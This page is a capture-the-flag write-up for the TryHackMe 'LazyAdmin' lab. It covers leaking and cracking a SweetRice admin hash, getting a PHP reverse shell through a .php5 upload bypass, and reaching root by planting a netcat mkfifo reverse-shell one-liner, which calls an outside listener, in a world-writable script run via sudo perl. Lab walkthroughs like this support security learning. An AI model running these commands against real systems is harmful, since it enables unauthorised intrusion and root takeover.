> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/red-teaming/tcm-linux-privilege-escalation-course/tryhackme-lazyadmin-easy.md).

# TryHackMe - LazyAdmin (Easy)

## Summary

Gobuster finds a hidden directory `/content` that leaks CMS name. Searchsploit finds an exploit that leads us to a MySQL backup file, which leaks admin user's password hash. The password hash is just MD5 and we recover the plaintext password easily. Running Gobuster on `/content` , we find another hidden directory `/content/as` that has a login form. Using the leaked credential, we can access the admin panel.

In the admin panel, we find a file upload vulnerability and an easy file extension bypass. Upload `php-reverse-shell.php5` and get a reverse shell as www-data.

In the privilege escalation phase, `sudo -l` finds that we are able to execute Perl as root. There is a backup script that executes `/etc/copy.sh` as root and `/etc/copy.sh` is world-writable. Store a Netcat reverse shell payload in it and run `sudo perl` on the backup script. Then we catch a reverse shell as root.

## IP

* RHOST: 10.10.10.20
* LHOST: 10.13.12.2

## Nmap

![Nmap](https://i.imgur.com/8wUecvJ.png)

## Asset Discovery

Gobuster finds a hidden directory `/content`:

![Gobuster](https://i.imgur.com/V06mPvU.png)

Visit `http://lazyadmin.thm/content/`. The CMS used is SweetRice:

![SweetRice](https://i.imgur.com/lcXrsTp.png)

## Admin Panel: Leaked Credential from MySQL Backup

Searchsploit:

![searchsploit](https://i.imgur.com/KKJP6db.png)

The "Backup Disclosure" PoC says that MySQL backup is at `/inc/mysql_backup`. In our case, it is at `/content/inc/mysql_backup`. Try to access this directory:

![/content/inc/mysql\_backup](https://i.imgur.com/vCUMEMk.png)

The `manager` user's password hash is leaked in this backup:

![Password hash](https://i.imgur.com/qK9dvcX.png)

MD5 reverse hash lookup shows that the plaintext password is `Password123`, so the credential is `manager:Password123`. Now we need to find a login page to utilize this credential.

Run Gobuster on the directory `/content` and we find a new directory `/content/as`:

![Gobuster on /content](https://i.imgur.com/R0Cn8u2.png)

This directory has a login form:

![/content/as](https://i.imgur.com/Mktr6EY.png)

Try the credential we just found and now we have access to the admin panel:

![Admin Panel](https://i.imgur.com/vrlmlY8.png)

## www-data Shell: File Upload

There is an arbitrary file upload exploit for SweetRice:

![Arbitrary file upload](https://i.imgur.com/Zmwqsw0.png)

It suggests `.php5` bypasses the filter:

![.php5](https://i.imgur.com/bD6Imqu.png)

Rename `php-reverse-shell.php` to `php-reverse-shell.php5`, go to "Media Center", and upload it:

![File upload](https://i.imgur.com/uzcTn7X.png)

Start a pwncat listener and catch a reverse shell as www-data:

![www-data shell](https://i.imgur.com/c0ZwjXe.png)

## Privilege Escalation: Sudo Perl => World-Writable File => Reverse Shell

`sudo -l`:

![sudo -l](https://i.imgur.com/TzNfqGG.png)

The file `/home/itguy/backup.pl` executes `sh /etc/copy.sh` as root and `/etc/copy.sh` is world-writable:

![/etc/copy.sh](https://i.imgur.com/79QNIRS.png)

Store a Netcat reverse shell payload is `/etc/copy.sh`:

```bash
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.12.2 1337 >/tmp/f' > /etc/copy.sh
```

Start a pwncat listener and execute `backup.pl` as root:

```bash
sudo /usr/bin/perl /home/itguy/backup.pl
```

Now we have a root shell:

![root shell](https://i.imgur.com/T7zDeQI.png)